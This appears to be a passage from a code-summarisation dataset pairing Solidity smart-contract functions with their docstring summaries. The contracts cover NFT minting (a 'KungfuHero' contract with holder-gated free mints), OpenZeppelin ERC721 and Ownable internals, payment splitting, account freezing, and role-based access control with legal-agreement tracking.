function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//KungfuHero
pragma solidity ^0.7.0;
interface BoredApeYachtClub {
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
}
interface Meebits {
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
}
contract KungfuHero is ERC721, Ownable {
using SafeMath for uint256;
// grant free mint
event GrantMint(uint indexed index, address indexed minter);
// winner free mint
event WinnerMint(uint indexed index, address indexed minter);
// public sell mint
event SellMint(uint indexed nums, address indexed minter);
// Bayc contract
address internal bayc;
// Meebtis contract
address internal meebits;
mapping (uint256 => bool) public baycMints;
mapping (uint256 => bool) public meebitsMints;
mapping (address => bool) public grantMints;
mapping (address => uint256) public winnerMints;
uint256 public tokenPrice = 80000000000000000; //0.08 ETH
uint256 public constant MAX_HEROES = 10000;
uint256 public constant MAX_GRANT_MINTS = 500;
uint256 public constant DAILY_GRANT_MINTS = 100;
uint256 public constant MAX_GAME_MINTS = 400;
uint256 public constant MAX_GROUP_MINTS = 300;
uint256 public constant MAX_SALE_MINTS = MAX_HEROES - MAX_GRANT_MINTS - MAX_GAME_MINTS - MAX_GROUP_MINTS;
uint256 public grantMintedNum = 0;
uint256 public gameMintedNum = 0;
uint256 public saleMintedNum = 0;
uint256 public groupMintedNum = 0;
uint256 public grantDailyMintNum = 0;
uint256 public dailyMintBeginTime = 0;
bool public publicSale = false;
bool public gameValid = false;
bool public communityValid = false;
constructor(string memory name, string memory symbol, address _baycAddr, address _meebitsAddr) ERC721(name, symbol) {
bayc = _baycAddr;
meebits = _meebitsAddr;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function flipSaleState() public onlyOwner {
publicSale = !publicSale;
}
function flipGameState() public onlyOwner {
gameValid = !gameValid;
}
function flipCommunityState() public onlyOwner {
communityValid = !communityValid;
}
function refreshCommunityDailyMint() public onlyOwner {
grantDailyMintNum = 0;
dailyMintBeginTime = block.timestamp;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function changePrice(uint256 newPrice) public onlyOwner {
tokenPrice = newPrice;
}
//Community with grant mint
function mintWithGrant() external{
require(communityValid, "Community mint not started.");
require(totalSupply() < MAX_HEROES, "heroes sold out.");
require(grantMints[msg.sender] == false, "Already mint with this address");
require(grantMintedNum < MAX_GRANT_MINTS, "Grant mint limit reached");
uint256 dailyLimitTime = dailyMintBeginTime + 1 days;
if(block.timestamp < dailyLimitTime) {
require(grantDailyMintNum < DAILY_GRANT_MINTS, "Community mint reach daily limit.");
}
uint256 baycNums = BoredApeYachtClub(bayc).balanceOf(msg.sender);
uint256 meebitsNums = Meebits(meebits).balanceOf(msg.sender);
require(baycNums > 0 || meebitsNums > 0, "Have no grant token");
if(baycNums > 0) {
for(uint i =0 ; i<baycNums; i++){
uint256 baycTokenId = BoredApeYachtClub(bayc).tokenOfOwnerByIndex(msg.sender, i);
require(baycMints[baycTokenId]==false, "This baycTokenId has minted before");
baycMints[baycTokenId] = true;
}
}
if(meebitsNums > 0) {
for(uint i =0 ; i<meebitsNums; i++){
uint256 meebitsTokenId = Meebits(meebits).tokenOfOwnerByIndex(msg.sender, i);
require(meebitsMints[meebitsTokenId]==false, "This meebitsTokenId has minted before");
meebitsMints[meebitsTokenId] = true;
}
}
grantMints[msg.sender] = true;
grantMintedNum = grantMintedNum.add(1);
grantDailyMintNum = grantDailyMintNum.add(1);
uint id = nextIndex();
_safeMint(msg.sender, id);
emit GrantMint(id, msg.sender);
}
function mint(uint nums) external payable {
require(publicSale, "Sale not started.");
require(nums > 0, "nums should large then 0.");
require(nums <= 20, "reach max sell limit.");
require(saleMintedNum.add(nums) <= MAX_SALE_MINTS, "Sale mint limit reached.");
require(totalSupply() < MAX_HEROES, "heroes sold out.");
uint salePrice = getPrice().mul(nums);
require(msg.value >= salePrice, "not enough funds to purchase.");
for(uint i = 0; i < nums; i++){
uint id = nextIndex();
if(id < MAX_HEROES){
_safeMint(msg.sender, id);
saleMintedNum = saleMintedNum.add(1);
}
}
emit SellMint(nums, msg.sender);
}
function mintToGroup(uint nums, address groupAddr) public onlyOwner{
require(groupMintedNum.add(nums) <= MAX_GROUP_MINTS, "group mint limit reached.");
require(totalSupply() < MAX_HEROES, "heroes sold out.");
for(uint i = 0; i < nums; i++){
uint id = nextIndex();
if(id < MAX_HEROES){
_safeMint(groupAddr, id);
groupMintedNum = groupMintedNum.add(1);
}
}
}
function setWinner(address[] memory addr) public onlyOwner{
require(gameValid, "Game not started.");
uint addrLength = addr.length;
require(gameMintedNum.add(addrLength) <= MAX_GAME_MINTS, "game mint limit reached.");
for(uint i = 0; i < addrLength; i++){
gameMintedNum = gameMintedNum.add(1);
winnerMints[addr[i]] = winnerMints[addr[i]].add(1);
}
}
function winnerGetReward() public {
require(gameValid, "Game not started.");
require(winnerMints[msg.sender] > 0, "not reward to the address.");
require(gameMintedNum <= MAX_GAME_MINTS, "game mint limit reached");
require(totalSupply() < MAX_HEROES, "heroes sold out.");
uint totalNum = winnerMints[msg.sender];
for (uint i = totalNum; i > 0; i--){
uint id = nextIndex();
if(id < MAX_HEROES){
winnerMints[msg.sender] = winnerMints[msg.sender].sub(1);
_safeMint(msg.sender, id);
emit WinnerMint(id, msg.sender);
}
}
}
function ownerMint(uint nums, address recipient) public onlyOwner {
require(totalSupply().add(nums) <= MAX_HEROES, "not enough hero left.");
for(uint i = 0; i < nums; i++){
uint id = nextIndex();
if(id < MAX_HEROES){
_safeMint(recipient, id);
}
}
}
function nextIndex() internal view returns (uint) {
return totalSupply();
}
function getPrice() public view returns (uint) {
return tokenPrice;
}
}
|
Community with grant mint
|
function mintWithGrant() external{
require(communityValid, "Community mint not started.");
require(totalSupply() < MAX_HEROES, "heroes sold out.");
require(grantMints[msg.sender] == false, "Already mint with this address");
require(grantMintedNum < MAX_GRANT_MINTS, "Grant mint limit reached");
uint256 dailyLimitTime = dailyMintBeginTime + 1 days;
if(block.timestamp < dailyLimitTime) {
require(grantDailyMintNum < DAILY_GRANT_MINTS, "Community mint reach daily limit.");
}
uint256 baycNums = BoredApeYachtClub(bayc).balanceOf(msg.sender);
uint256 meebitsNums = Meebits(meebits).balanceOf(msg.sender);
require(baycNums > 0 || meebitsNums > 0, "Have no grant token");
if(baycNums > 0) {
for(uint i =0 ; i<baycNums; i++){
uint256 baycTokenId = BoredApeYachtClub(bayc).tokenOfOwnerByIndex(msg.sender, i);
require(baycMints[baycTokenId]==false, "This baycTokenId has minted before");
baycMints[baycTokenId] = true;
}
}
if(meebitsNums > 0) {
for(uint i =0 ; i<meebitsNums; i++){
uint256 meebitsTokenId = Meebits(meebits).tokenOfOwnerByIndex(msg.sender, i);
require(meebitsMints[meebitsTokenId]==false, "This meebitsTokenId has minted before");
meebitsMints[meebitsTokenId] = true;
}
}
grantMints[msg.sender] = true;
grantMintedNum = grantMintedNum.add(1);
grantDailyMintNum = grantDailyMintNum.add(1);
uint id = nextIndex();
_safeMint(msg.sender, id);
emit GrantMint(id, msg.sender);
}
| 2,127,397
|
./full_match/1/0x99a9B7c1116f9ceEB1652de04d5969CcE509B069/sources/contracts/GenArt721CoreV3.sol
|
Updates reference to Art Blocks Dependency Registry contract. _artblocksDependencyRegistryAddress Address of new Dependency Registry./
|
function updateArtblocksDependencyRegistryAddress(
address _artblocksDependencyRegistryAddress
)
external
onlyAdminACL(this.updateArtblocksDependencyRegistryAddress.selector)
onlyNonZeroAddress(_artblocksDependencyRegistryAddress)
{
artblocksDependencyRegistryAddress = _artblocksDependencyRegistryAddress;
emit PlatformUpdated(FIELD_ARTBLOCKS_DEPENDENCY_REGISTRY_ADDRESS);
}
| 17,012,424
|
./full_match/80001/0x5aA0508EA121E7db09207d0021281Bf9F53A0F6b/sources/contracts/StartupHub.sol
|
Creates a new project. uri The project URI. files The project files.
|
function createProject(string memory uri, FileInfo[] memory files) public {
require(bytes(uri).length > 0, "URI must not be empty.");
for (uint256 i = 0; i < files.length; i++) {
require(_fileHashToProjectId[files[i].fileHash] == 0, "File hash already exists in another project.");
}
uint256 projectId = projectCount++;
_projects[projectId] = Project({
id: projectId,
uri: uri,
owner: msg.sender
});
emit ProjectCreated(projectId, msg.sender, uri);
if (files.length == 0) {
return;
}
for(uint256 i = 0; i < files.length; i++) {
_fileHashToProjectId[files[i].fileHash] = projectId;
_files[files[i].fileHash] = files[i];
}
emit FilesUploaded(projectId, files);
}
| 5,658,632
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "interfaces/defidollar/ICore.sol";
contract Disperse is Initializable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address token, address to, uint256 amount);
address public constant core = 0x2A8facc9D49fBc3ecFf569847833C380A13418a8;
address public constant ibbtc = 0xc4E15973E6fF2A35cC804c2CF9D2a1b817a8b40F;
uint256 private _totalShares;
mapping(address => uint256) private _shares;
address[] private _payees;
mapping(address => bool) private _isPayee;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
function initialize(address[] memory payees, uint256[] memory shares) public initializer {
// solhint-disable-next-line max-line-length
require(payees.length == shares.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares[i]);
}
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
function payees() public view returns (address[] memory) {
return _payees;
}
function isPayee(address account) public view returns (bool) {
return _isPayee[account];
}
/// @dev Disperse balance of a given token in contract among recipients
function disperseToken(IERC20Upgradeable token) external {
// If dispersing IBBTC, collect the fee first
if (address(token) == ibbtc) {
ICore(core).collectFee();
}
require(_isPayee[msg.sender], "onlyPayees");
uint256 tokenBalance = token.balanceOf(address(this));
for (uint256 i = 0; i < _payees.length; i++) {
address payee = _payees[i];
uint256 toPayee = tokenBalance.mul(_shares[payee]).div(_totalShares);
token.safeTransfer(payee, toPayee);
emit PaymentReleased(address(token), payee, toPayee);
}
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_isPayee[account] = true;
_shares[account] = shares_;
_totalShares = _totalShares.add(shares_);
emit PayeeAdded(account, shares_);
}
}
|
Add a new payee to the contract. account The address of the payee to add. shares_ The number of shares owned by the payee./
|
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_isPayee[account] = true;
_shares[account] = shares_;
_totalShares = _totalShares.add(shares_);
emit PayeeAdded(account, shares_);
}
| 5,412,386
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Lockable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Locked(address account, address target);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event UnLocked(address account, address target);
mapping(address => bool) public frozenList;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
}
/**
* @dev Returns true if the address is frozen, and false otherwise.
*/
function locked(address checkaddress) public view virtual returns (bool) {
return frozenList[checkaddress];
}
/**
* @dev Triggers locked state.
*
* Requirements:
*
* - The address must not be locked.
*/
function _lock(address targetAddress) internal virtual {
require(frozenList[targetAddress] != true, "ACCOUNT HAS ALREADY BEEN LOCKED.");
frozenList[targetAddress] = true;
emit Locked(_msgSender(), targetAddress);
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The address must be locked.
*/
function _unlock(address targetAddress) internal virtual {
require(frozenList[targetAddress] != false, "ACCOUNT HAS NOT BEEN LOCKED.");
frozenList[targetAddress] = false;
emit UnLocked(_msgSender(), targetAddress);
}
}
|
Triggers locked state. Requirements: - The address must not be locked./
|
function _lock(address targetAddress) internal virtual {
require(frozenList[targetAddress] != true, "ACCOUNT HAS ALREADY BEEN LOCKED.");
frozenList[targetAddress] = true;
emit Locked(_msgSender(), targetAddress);
}
| 7,212,960
|
pragma solidity 0.4.25;
/// @title provides subject to role checking logic
contract IAccessPolicy {
////////////////////////
// Public functions
////////////////////////
/// @notice We don't make this function constant to allow for state-updating access controls such as rate limiting.
/// @dev checks if subject belongs to requested role for particular object
/// @param subject address to be checked against role, typically msg.sender
/// @param role identifier of required role
/// @param object contract instance context for role checking, typically contract requesting the check
/// @param verb additional data, in current AccessControll implementation msg.sig
/// @return if subject belongs to a role
function allowed(
address subject,
bytes32 role,
address object,
bytes4 verb
)
public
returns (bool);
}
/// @title enables access control in implementing contract
/// @dev see AccessControlled for implementation
contract IAccessControlled {
////////////////////////
// Events
////////////////////////
/// @dev must log on access policy change
event LogAccessPolicyChanged(
address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy
);
////////////////////////
// Public functions
////////////////////////
/// @dev allows to change access control mechanism for this contract
/// this method must be itself access controlled, see AccessControlled implementation and notice below
/// @notice it is a huge issue for Solidity that modifiers are not part of function signature
/// then interfaces could be used for example to control access semantics
/// @param newPolicy new access policy to controll this contract
/// @param newAccessController address of ROLE_ACCESS_CONTROLLER of new policy that can set access to this contract
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
////////////////////////
// Constants
////////////////////////
// @notice Soldity somehow doesn't evaluate this compile time
// @dev role which has rights to change permissions and set new policy in contract, keccak256("AccessController")
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
/// @title Granular code execution permissions
/// @notice Intended to replace existing Ownable pattern with more granular permissions set to execute smart contract functions
/// for each function where 'only' modifier is applied, IAccessPolicy implementation is called to evaluate if msg.sender belongs to required role for contract being called.
/// Access evaluation specific belong to IAccessPolicy implementation, see RoleBasedAccessPolicy for details.
/// @dev Should be inherited by a contract requiring such permissions controll. IAccessPolicy must be provided in constructor. Access policy may be replaced to a different one
/// by msg.sender with ROLE_ACCESS_CONTROLLER role
contract AccessControlled is IAccessControlled, StandardRoles {
////////////////////////
// Mutable state
////////////////////////
IAccessPolicy private _accessPolicy;
////////////////////////
// Modifiers
////////////////////////
/// @dev limits function execution only to senders assigned to required 'role'
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
////////////////////////
// Constructor
////////////////////////
constructor(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
////////////////////////
// Public functions
////////////////////////
//
// Implements IAccessControlled
//
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
// ROLE_ACCESS_CONTROLLER must be present
// under the new policy. This provides some
// protection against locking yourself out.
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
// We can now safely set the new policy without foot shooting.
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
// Log event
emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
/// @title standard access roles of the Platform
/// @dev constants are kept in CODE not in STORAGE so they are comparatively cheap
contract AccessRoles {
////////////////////////
// Constants
////////////////////////
// NOTE: All roles are set to the keccak256 hash of the
// CamelCased role name, i.e.
// ROLE_LOCKED_ACCOUNT_ADMIN = keccak256("LockedAccountAdmin")
// May issue (generate) Neumarks
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
// May burn Neumarks it owns
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
// May create new snapshots on Neumark
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
// May enable/disable transfers on Neumark
bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
// may reclaim tokens/ether from contracts supporting IReclaimable interface
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
// represents legally platform operator in case of forks and contracts with legal agreement attached. keccak256("PlatformOperatorRepresentative")
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
// allows to deposit EUR-T and allow addresses to send and receive EUR-T. keccak256("EurtDepositManager")
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
// allows to register identities and change associated claims keccak256("IdentityManager")
bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e;
// allows to replace controller on euro token and to destroy tokens without withdraw kecckak256("EurtLegalManager")
bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b;
// allows to change known interfaces in universe kecckak256("UniverseManager")
bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738;
// allows to exchange gas for EUR-T keccak("GasExchange")
bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969;
// allows to set token exchange rates keccak("TokenRateOracle")
bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585;
}
contract IEthereumForkArbiter {
////////////////////////
// Events
////////////////////////
event LogForkAnnounced(
string name,
string url,
uint256 blockNumber
);
event LogForkSigned(
uint256 blockNumber,
bytes32 blockHash
);
////////////////////////
// Public functions
////////////////////////
function nextForkName()
public
constant
returns (string);
function nextForkUrl()
public
constant
returns (string);
function nextForkBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockHash()
public
constant
returns (bytes32);
function lastSignedTimestamp()
public
constant
returns (uint256);
}
/**
* @title legally binding smart contract
* @dev General approach to paring legal and smart contracts:
* 1. All terms and agreement are between two parties: here between smart conctract legal representation and platform investor.
* 2. Parties are represented by public Ethereum addresses. Platform investor is and address that holds and controls funds and receives and controls Neumark token
* 3. Legal agreement has immutable part that corresponds to smart contract code and mutable part that may change for example due to changing regulations or other externalities that smart contract does not control.
* 4. There should be a provision in legal document that future changes in mutable part cannot change terms of immutable part.
* 5. Immutable part links to corresponding smart contract via its address.
* 6. Additional provision should be added if smart contract supports it
* a. Fork provision
* b. Bugfixing provision (unilateral code update mechanism)
* c. Migration provision (bilateral code update mechanism)
*
* Details on Agreement base class:
* 1. We bind smart contract to legal contract by storing uri (preferably ipfs or hash) of the legal contract in the smart contract. It is however crucial that such binding is done by smart contract legal representation so transaction establishing the link must be signed by respective wallet ('amendAgreement')
* 2. Mutable part of agreement may change. We should be able to amend the uri later. Previous amendments should not be lost and should be retrievable (`amendAgreement` and 'pastAgreement' functions).
* 3. It is up to deriving contract to decide where to put 'acceptAgreement' modifier. However situation where there is no cryptographic proof that given address was really acting in the transaction should be avoided, simplest example being 'to' address in `transfer` function of ERC20.
*
**/
contract IAgreement {
////////////////////////
// Events
////////////////////////
event LogAgreementAccepted(
address indexed accepter
);
event LogAgreementAmended(
address contractLegalRepresentative,
string agreementUri
);
/// @dev should have access restrictions so only contractLegalRepresentative may call
function amendAgreement(string agreementUri) public;
/// returns information on last amendment of the agreement
/// @dev MUST revert if no agreements were set
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
/// returns information on amendment with index
/// @dev MAY revert on non existing amendment, indexing starts from 0
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
/// returns the number of block at wchich `signatory` signed agreement
/// @dev MUST return 0 if not signed
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo);
/// returns number of amendments made by contractLegalRepresentative
function amendmentsCount()
public
constant
returns (uint256);
}
/**
* @title legally binding smart contract
* @dev read IAgreement for details
**/
contract Agreement is
IAgreement,
AccessControlled,
AccessRoles
{
////////////////////////
// Type declarations
////////////////////////
/// @notice agreement with signature of the platform operator representative
struct SignedAgreement {
address contractLegalRepresentative;
uint256 signedBlockTimestamp;
string agreementUri;
}
////////////////////////
// Immutable state
////////////////////////
IEthereumForkArbiter private ETHEREUM_FORK_ARBITER;
////////////////////////
// Mutable state
////////////////////////
// stores all amendments to the agreement, first amendment is the original
SignedAgreement[] private _amendments;
// stores block numbers of all addresses that signed the agreement (signatory => block number)
mapping(address => uint256) private _signatories;
////////////////////////
// Modifiers
////////////////////////
/// @notice logs that agreement was accepted by platform user
/// @dev intended to be added to functions that if used make 'accepter' origin to enter legally binding agreement
modifier acceptAgreement(address accepter) {
acceptAgreementInternal(accepter);
_;
}
modifier onlyLegalRepresentative(address legalRepresentative) {
require(mCanAmend(legalRepresentative));
_;
}
////////////////////////
// Constructor
////////////////////////
constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter)
AccessControlled(accessPolicy)
internal
{
require(forkArbiter != IEthereumForkArbiter(0x0));
ETHEREUM_FORK_ARBITER = forkArbiter;
}
////////////////////////
// Public functions
////////////////////////
function amendAgreement(string agreementUri)
public
onlyLegalRepresentative(msg.sender)
{
SignedAgreement memory amendment = SignedAgreement({
contractLegalRepresentative: msg.sender,
signedBlockTimestamp: block.timestamp,
agreementUri: agreementUri
});
_amendments.push(amendment);
emit LogAgreementAmended(msg.sender, agreementUri);
}
function ethereumForkArbiter()
public
constant
returns (IEthereumForkArbiter)
{
return ETHEREUM_FORK_ARBITER;
}
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
require(_amendments.length > 0);
uint256 last = _amendments.length - 1;
SignedAgreement storage amendment = _amendments[last];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
